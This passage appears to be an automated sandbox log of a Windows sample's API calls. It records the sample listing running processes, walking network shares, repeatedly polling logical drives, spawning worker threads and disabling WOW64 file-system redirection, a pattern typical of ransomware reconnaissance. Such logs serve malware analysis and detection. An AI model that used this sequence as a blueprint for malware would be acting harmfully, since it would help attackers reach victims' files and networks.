th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0303.194] lstrlenW (lpString="winlogon.exe") returned 12 [0303.194] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0303.194] lstrlenW (lpString="services.exe") returned 12 [0303.194] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0303.195] lstrlenW (lpString="lsass.exe") returned 9 [0303.195] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.196] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.196] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.196] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.196] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.197] lstrlenW (lpString="svchost.exe") returned 11 [0303.197] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.198] lstrlenW (lpString="svchost.exe") returned 11 [0303.198] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0303.199] lstrlenW (lpString="dwm.exe") returned 7 [0303.199] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.199] lstrlenW (lpString="svchost.exe") returned 11 [0303.199] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.200] lstrlenW (lpString="svchost.exe") returned 11 [0303.200] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.201] lstrlenW (lpString="svchost.exe") returned 11 [0303.201] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.201] lstrlenW (lpString="svchost.exe") returned 11 [0303.201] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.202] lstrlenW (lpString="svchost.exe") returned 11 [0303.202] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.203] lstrlenW (lpString="svchost.exe") returned 11 [0303.203] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.203] lstrlenW (lpString="svchost.exe") returned 11 [0303.203] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.204] lstrlenW (lpString="svchost.exe") returned 11 [0303.204] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.205] lstrlenW (lpString="svchost.exe") returned 11 [0303.205] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.205] lstrlenW (lpString="svchost.exe") returned 11 [0303.205] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0303.206] lstrlenW (lpString="spoolsv.exe") returned 11 [0303.206] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.207] lstrlenW (lpString="svchost.exe") returned 11 [0303.207] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0303.207] lstrlenW (lpString="audiodg.exe") returned 11 [0303.207] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0303.208] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0303.208] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0303.209] lstrlenW (lpString="Memory Compression") returned 18 [0303.209] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0303.209] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0303.209] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0303.210] lstrlenW (lpString="sihost.exe") returned 10 [0303.210] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.211] lstrlenW (lpString="svchost.exe") returned 11 [0303.211] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0303.212] lstrlenW (lpString="taskhostw.exe") returned 13 [0303.212] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0303.212] lstrlenW (lpString="msoia.exe") returned 9 [0303.213] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0303.213] lstrlenW (lpString="explorer.exe") returned 12 [0303.213] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0303.214] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0303.214] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0303.215] lstrlenW (lpString="SearchUI.exe") returned 12 [0303.215] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0303.215] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0303.215] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0303.216] lstrlenW (lpString="load0.exe") returned 9 [0303.216] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.217] lstrlenW (lpString="svchost.exe") returned 11 [0303.217] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0303.217] CloseHandle (hObject=0x10b0) returned 1 [0303.217] Sleep (dwMilliseconds=0x1f4) Thread: id = 3449 os_tid = 0x269c [0285.799] WaitForSingleObject (hHandle=0xf40, dwMilliseconds=0xffffffff) returned 0x80 [0286.588] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x78bdc0 | out: hHeap=0x730000) returned 1 Thread: id = 3450 os_tid = 0x2704 [0285.799] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c63e8 [0285.799] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c63e8, Size=0x20) returned 0x7bdaa8 [0285.799] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7bdaa8, Size=0x40) returned 0x742380 [0285.799] GetLogicalDrives () returned 0x4 [0285.799] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7de4a0 [0285.800] GetComputerNameW (in: lpBuffer=0x7de4a4, nSize=0x233ff64 | out: lpBuffer="NQDPDE", nSize=0x233ff64) returned 1 [0285.800] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1000) returned 0x7cae10 [0285.800] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x233ff34 | out: lphEnum=0x233ff34*=0x746738) returned 0x0 [0285.800] WNetEnumResourceW (in: hEnum=0x746738, lpcCount=0x233ff30, lpBuffer=0x7cae10, lpBufferSize=0x233ff38 | out: lpcCount=0x233ff30, lpBuffer=0x7cae10, lpBufferSize=0x233ff38) returned 0x103 [0285.801] WNetCloseEnum (hEnum=0x746738) returned 0x0 [0285.801] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x233ff34 | out: lphEnum=0x233ff34*=0x74a570) returned 0x0 [0285.814] WNetEnumResourceW (in: hEnum=0x74a570, lpcCount=0x233ff30, lpBuffer=0x7cae10, lpBufferSize=0x233ff38 | out: lpcCount=0x233ff30, lpBuffer=0x7cae10, lpBufferSize=0x233ff38) returned 0x0 [0285.814] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1000) returned 0x784c38 [0285.814] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7cae10, lphEnum=0x233ff08 | out: lphEnum=0x233ff08*=0x7467b8) returned 0x0 [0285.816] WNetEnumResourceW (in: hEnum=0x7467b8, lpcCount=0x233ff04, lpBuffer=0x784c38, lpBufferSize=0x233ff0c | out: lpcCount=0x233ff04, lpBuffer=0x784c38, lpBufferSize=0x233ff0c) returned 0x103 [0285.816] WNetCloseEnum (hEnum=0x7467b8) returned 0x0 [0285.816] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1000) returned 0x785c40 [0285.816] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7cae30, lphEnum=0x233ff08 | out: lphEnum=0x233ff08*=0x0) returned 0x4b8 [0300.032] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1000) returned 0x3e8b0f0 [0300.032] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7cae50, lphEnum=0x233ff08 | out: lphEnum=0x233ff08*=0x0) returned 0x4c6 [0300.033] WNetEnumResourceW (in: hEnum=0x74a570, lpcCount=0x233ff30, lpBuffer=0x7cae10, lpBufferSize=0x233ff38 | out: lpcCount=0x233ff30, lpBuffer=0x7cae10, lpBufferSize=0x233ff38) returned 0x103 [0300.033] WNetCloseEnum (hEnum=0x74a570) returned 0x0 [0300.033] GetLogicalDrives () returned 0x4 [0300.033] Sleep (dwMilliseconds=0x64) [0300.183] GetLogicalDrives () returned 0x4 [0300.183] Sleep (dwMilliseconds=0x64) [0300.295] GetLogicalDrives () returned 0x4 [0300.295] Sleep (dwMilliseconds=0x64) [0300.402] GetLogicalDrives () returned 0x4 [0300.402] Sleep (dwMilliseconds=0x64) [0300.511] GetLogicalDrives () returned 0x4 [0300.511] Sleep (dwMilliseconds=0x64) [0300.621] GetLogicalDrives () returned 0x4 [0300.621] Sleep (dwMilliseconds=0x64) [0300.742] GetLogicalDrives () returned 0x4 [0300.742] Sleep (dwMilliseconds=0x64) [0300.855] GetLogicalDrives () returned 0x4 [0300.855] Sleep (dwMilliseconds=0x64) [0300.964] GetLogicalDrives () returned 0x4 [0300.964] Sleep (dwMilliseconds=0x64) [0301.074] GetLogicalDrives () returned 0x4 [0301.074] Sleep (dwMilliseconds=0x64) [0301.242] GetLogicalDrives () returned 0x4 [0301.242] Sleep (dwMilliseconds=0x64) [0301.371] GetLogicalDrives () returned 0x4 [0301.371] Sleep (dwMilliseconds=0x64) [0301.683] GetLogicalDrives () returned 0x4 [0301.683] Sleep (dwMilliseconds=0x64) [0301.827] GetLogicalDrives () returned 0x4 [0301.827] Sleep (dwMilliseconds=0x64) [0301.982] GetLogicalDrives () returned 0x4 [0301.982] Sleep (dwMilliseconds=0x64) [0302.118] GetLogicalDrives () returned 0x4 [0302.118] Sleep (dwMilliseconds=0x64) [0302.245] GetLogicalDrives () returned 0x4 [0302.245] Sleep (dwMilliseconds=0x64) [0302.355] GetLogicalDrives () returned 0x4 [0302.355] Sleep (dwMilliseconds=0x64) [0302.464] GetLogicalDrives () returned 0x4 [0302.464] Sleep (dwMilliseconds=0x64) [0302.589] GetLogicalDrives () returned 0x4 [0302.589] Sleep (dwMilliseconds=0x64) [0302.715] GetLogicalDrives () returned 0x4 [0302.715] Sleep (dwMilliseconds=0x64) [0302.824] GetLogicalDrives () returned 0x4 [0302.824] Sleep (dwMilliseconds=0x64) [0302.933] GetLogicalDrives () returned 0x4 [0302.933] Sleep (dwMilliseconds=0x64) [0303.042] GetLogicalDrives () returned 0x4 [0303.042] Sleep (dwMilliseconds=0x64) [0303.183] GetLogicalDrives () returned 0x4 [0303.183] Sleep (dwMilliseconds=0x64) [0303.320] GetLogicalDrives () returned 0x4 [0303.320] Sleep (dwMilliseconds=0x64) [0303.433] GetLogicalDrives () returned 0x4 [0303.433] Sleep (dwMilliseconds=0x64) [0303.606] GetLogicalDrives () returned 0x4 [0303.606] Sleep (dwMilliseconds=0x64) Thread: id = 3451 os_tid = 0x26fc [0285.824] GetTickCount () returned 0x1f2b7 [0285.824] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24) returned 0x7f1198 [0285.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020 [0285.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024 [0285.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028 [0285.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c [0285.826] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c6340 [0285.826] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6340, Size=0x20) returned 0x7bd8a0 [0285.826] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c62f8 [0285.826] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c62f8, Size=0x20) returned 0x7bd850 [0285.827] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.827] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.827] Wow64DisableWow64FsRedirection (in: OldValue=0x243ff7c | out: OldValue=0x243ff7c*=0x0) returned 1 [0285.827] lstrlenW (lpString="kernel32.dll") returned 12 [0285.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd8a0 | out: hHeap=0x730000) returned 1 [0285.827] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0285.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x7ad468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030 [0285.828] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0286.175] GetTickCount () returned 0x1f41f [0286.175] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0286.502] GetTickCount () returned 0x1f567 [0286.502] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0286.884] GetTickCount () returned 0x1f6de [0286.884] GetTickCount () returned 0x1f6de [0286.884] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0287.195] GetTickCount () returned 0x1f816 [0287.195] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0287.456] GetTickCount () returned 0x1f920 [0287.456] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0287.723] GetTickCount () returned 0x1fa2a [0287.723] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0287.956] GetTickCount () returned 0x1fb14 [0287.956] GetTickCount () returned 0x1fb14 [0287.956] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0288.166] GetTickCount () returned 0x1fbdf [0288.166] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0288.623] GetTickCount () returned 0x1fda4 [0288.623] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0288.835] GetTickCount () returned 0x1fe7f [0288.835] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0289.359] GetTickCount () returned 0x20083 [0289.359] GetTickCount () returned 0x20083 [0289.359] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0289.550] GetTickCount () returned 0x2014e [0289.550] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0289.815] GetTickCount () returned 0x20257 [0289.815] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0289.972] GetTickCount () returned 0x202f4 [0289.972] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0290.115] GetTickCount () returned 0x20380 [0290.115] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0290.289] GetTickCount () returned 0x2042c [0290.289] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0290.512] GetTickCount () returned 0x20507 [0290.512] GetTickCount () returned 0x20507 [0290.512] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0290.644] GetTickCount () returned 0x20594 [0290.644] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0290.775] GetTickCount () returned 0x20611 [0290.776] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0290.884] GetTickCount () returned 0x2067e [0290.884] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.025] GetTickCount () returned 0x2070b [0291.025] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.149] GetTickCount () returned 0x20788 [0291.149] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.253] GetTickCount () returned 0x207f5 [0291.253] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.362] GetTickCount () returned 0x20862 [0291.362] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.495] GetTickCount () returned 0x208df [0291.495] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.597] GetTickCount () returned 0x2094d [0291.597] GetTickCount () returned 0x2094d [0291.597] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.780] GetTickCount () returned 0x209f9 [0291.780] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0291.893] GetTickCount () returned 0x20a76 [0291.893] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.004] GetTickCount () returned 0x20ae3 [0292.004] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.112] GetTickCount () returned 0x20b50 [0292.112] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.227] GetTickCount () returned 0x20bbe [0292.227] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.331] GetTickCount () returned 0x20c2b [0292.331] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.442] GetTickCount () returned 0x20c98 [0292.442] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.545] GetTickCount () returned 0x20cf6 [0292.545] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.651] GetTickCount () returned 0x20d64 [0292.651] GetTickCount () returned 0x20d64 [0292.652] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.761] GetTickCount () returned 0x20dd1 [0292.761] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0292.883] GetTickCount () returned 0x20e3e [0292.883] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0293.454] GetTickCount () returned 0x21090 [0293.454] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0293.626] GetTickCount () returned 0x2113c [0293.626] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0293.797] GetTickCount () returned 0x211d8 [0293.797] GetTickCount () returned 0x211d8 [0293.797] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0293.892] GetTickCount () returned 0x21246 [0293.892] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0294.009] GetTickCount () returned 0x212b3 [0294.009] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0294.173] GetTickCount () returned 0x2135f [0294.173] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0294.672] GetTickCount () returned 0x21543 [0294.672] 